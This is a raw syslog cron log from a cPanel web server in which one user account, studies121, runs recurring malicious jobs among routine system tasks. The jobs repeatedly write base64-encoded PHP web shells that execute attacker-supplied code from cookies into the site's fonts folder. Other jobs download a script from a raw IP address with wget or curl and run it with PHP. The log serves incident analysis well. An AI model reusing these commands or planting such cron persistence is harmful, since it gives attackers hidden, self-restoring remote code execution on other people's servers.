Sep 22 10:05:01 ip-184-168-122-23 CROND[23614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:05:01 ip-184-168-122-23 CROND[23613]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 10:05:01 ip-184-168-122-23 CROND[23615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:05:01 ip-184-168-122-23 CROND[23611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:06:01 ip-184-168-122-23 CROND[23828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:06:01 ip-184-168-122-23 CROND[23831]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:06:01 ip-184-168-122-23 CROND[23833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:06:01 ip-184-168-122-23 CROND[23834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:06:01 ip-184-168-122-23 CROND[23836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:07:01 ip-184-168-122-23 CROND[23971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:07:01 ip-184-168-122-23 CROND[23974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:07:01 ip-184-168-122-23 CROND[23976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:07:01 ip-184-168-122-23 CROND[23977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:08:01 ip-184-168-122-23 CROND[24140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:08:01 ip-184-168-122-23 CROND[24142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:08:01 ip-184-168-122-23 CROND[24143]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:08:01 ip-184-168-122-23 CROND[24147]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:08:01 ip-184-168-122-23 CROND[24148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:09:01 ip-184-168-122-23 CROND[24290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:09:01 ip-184-168-122-23 CROND[24292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:09:01 ip-184-168-122-23 CROND[24293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:09:01 ip-184-168-122-23 CROND[24295]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 10:09:01 ip-184-168-122-23 CROND[24298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:10:01 ip-184-168-122-23 CROND[24460]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 10:10:01 ip-184-168-122-23 CROND[24463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:10:01 ip-184-168-122-23 CROND[24465]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 10:10:01 ip-184-168-122-23 CROND[24467]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 10:10:01 ip-184-168-122-23 CROND[24468]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:10:01 ip-184-168-122-23 CROND[24472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:10:01 ip-184-168-122-23 CROND[24474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:10:01 ip-184-168-122-23 CROND[24473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:11:02 ip-184-168-122-23 CROND[25382]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:11:02 ip-184-168-122-23 CROND[25381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:11:02 ip-184-168-122-23 CROND[25383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:11:02 ip-184-168-122-23 CROND[25386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:12:01 ip-184-168-122-23 CROND[27012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:12:01 ip-184-168-122-23 CROND[27014]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:12:01 ip-184-168-122-23 CROND[27013]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:12:01 ip-184-168-122-23 CROND[27018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:12:01 ip-184-168-122-23 CROND[27017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:13:01 ip-184-168-122-23 CROND[27863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:13:01 ip-184-168-122-23 CROND[27864]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:13:01 ip-184-168-122-23 CROND[27866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:13:01 ip-184-168-122-23 CROND[27867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:14:01 ip-184-168-122-23 CROND[28636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:14:01 ip-184-168-122-23 CROND[28640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:14:01 ip-184-168-122-23 CROND[28638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:14:01 ip-184-168-122-23 CROND[28639]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:14:01 ip-184-168-122-23 CROND[28641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:15:01 ip-184-168-122-23 CROND[29325]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 22 10:15:01 ip-184-168-122-23 CROND[29327]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 10:15:01 ip-184-168-122-23 CROND[29328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:15:01 ip-184-168-122-23 CROND[29329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:15:01 ip-184-168-122-23 CROND[29331]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 10:15:01 ip-184-168-122-23 CROND[29336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:15:01 ip-184-168-122-23 CROND[29338]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:16:01 ip-184-168-122-23 CROND[30036]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:16:01 ip-184-168-122-23 CROND[30041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:16:01 ip-184-168-122-23 CROND[30042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:16:01 ip-184-168-122-23 CROND[30043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:16:01 ip-184-168-122-23 CROND[30039]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 10:16:01 ip-184-168-122-23 CROND[30040]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:17:01 ip-184-168-122-23 CROND[30852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:17:01 ip-184-168-122-23 CROND[30853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
